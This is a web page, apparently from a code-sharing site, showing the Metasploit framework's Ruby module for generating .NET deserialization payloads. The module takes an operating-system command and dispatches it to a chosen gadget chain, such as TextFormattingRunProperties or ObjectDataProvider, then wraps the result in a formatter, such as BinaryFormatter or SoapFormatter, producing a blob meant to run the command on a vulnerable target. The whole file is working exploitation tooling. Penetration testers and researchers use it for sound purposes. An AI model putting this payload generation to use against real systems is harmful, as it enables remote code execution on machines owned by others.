Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/util/dot_net_deserialization.rb
Views: 11779
require 'bindata'12module Msf3module Util45#6# Much of this code is based on the YSoSerial.Net project7# see: https://github.com/pwntester/ysoserial.net8#9module DotNetDeserialization10DEFAULT_FORMATTER = :BinaryFormatter11DEFAULT_GADGET_CHAIN = :TextFormattingRunProperties1213def self.encode_7bit_int(int)14return "\x00".b if int == 01516# see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L58217encoded_int = []18while int > 019value = int & 0x7f20int >>= 721value |= 0x80 if int > 022encoded_int << value23end2425encoded_int.pack('C*')26end2728def self.get_ancestor(obj, ancestor_type, required: true)29while ! (obj.nil? || obj.is_a?(ancestor_type))30obj = obj.parent31end3233raise RuntimeError, "Failed to find ancestor #{ancestor_type.name}" if obj.nil? && required3435obj36end3738#39# Generation Methods40#4142# Generates a .NET deserialization payload for the specified OS command using43# a selected gadget-chain and formatter combination.44#45# @param cmd [String] The OS command to execute.46# @param gadget_chain [Symbol] The gadget chain to use for execution. This47# will be application specific.48# @param formatter [Symbol] An optional formatter to use to encapsulate the49# gadget chain.50# @return [String]51def self.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER)52stream = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain)53self.generate_formatted(stream, formatter: formatter)54end5556# Take the specified serialized blob and encapsulate it with the specified57# formatter.58#59# @param stream [Msf::Util::DotNetDeserialization::Types::SerializedStream]60# The serialized stream representing the gadget chain to format into a61# string.62# @param formatter [Symbol] The formatter to use to encapsulate the serialized63# data blob.64# @return [String]65def self.generate_formatted(stream, formatter: DEFAULT_FORMATTER)66case formatter67when :BinaryFormatter68formatted = Formatters::BinaryFormatter.generate(stream)69when :JsonNetFormatter70formatted = Formatters::JsonNetFormatter.generate(stream)71when :LosFormatter72formatted = Formatters::LosFormatter.generate(stream)73when :SoapFormatter74formatted = Formatters::SoapFormatter.generate(stream)75else76raise NotImplementedError, 'The specified formatter is not implemented'77end7879formatted80end8182# Get a list of gadget chains that are compatible with the specified formatter.83#84# @param formatter [Symbol] The formatter to get gadget chains for.85# @return [Array<Symbol>]86def self.formatter_compatible_gadget_chains(formatter)87case formatter88when :BinaryFormatter, :LosFormatter89chains = GadgetChains::NAMES.select { |name| GadgetChains.const_get(name) <= (Types::SerializedStream) }90when :JsonNetFormatter91chains = %i[ ObjectDataProvider ]92when :SoapFormatter93chains = %i[ ClaimsPrincipal TextFormattingRunProperties WindowsIdentity ]94else95raise NotImplementedError, 'The specified formatter is not implemented'96end9798chains99end100101# Generate a serialized data blob using the specified gadget chain to execute102# the OS command. The chosen gadget chain must be compatible with the target103# application.104#105# @param cmd [String] The operating system command to execute. It will106# automatically be prefixed with "cmd /c" by the gadget chain.107# @param gadget_chain [Symbol] The gadget chain to use for execution.108# @return [Types::SerializedStream]109def self.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN)110case gadget_chain111when :ClaimsPrincipal112stream = GadgetChains::ClaimsPrincipal.generate(cmd)113when :DataSet114stream = GadgetChains::DataSet.generate(cmd)115when :DataSetTypeSpoof116stream = GadgetChains::DataSetTypeSpoof.generate(cmd)117when :ObjectDataProvider118stream = GadgetChains::ObjectDataProvider.generate(cmd)119when :TextFormattingRunProperties120stream = GadgetChains::TextFormattingRunProperties.generate(cmd)121when :TypeConfuseDelegate122stream = GadgetChains::TypeConfuseDelegate.generate(cmd)123when :WindowsIdentity124stream = GadgetChains::WindowsIdentity.generate(cmd)125else126raise NotImplementedError, 'The specified gadget chain is not implemented'127end128129stream130end131end132end133end134135136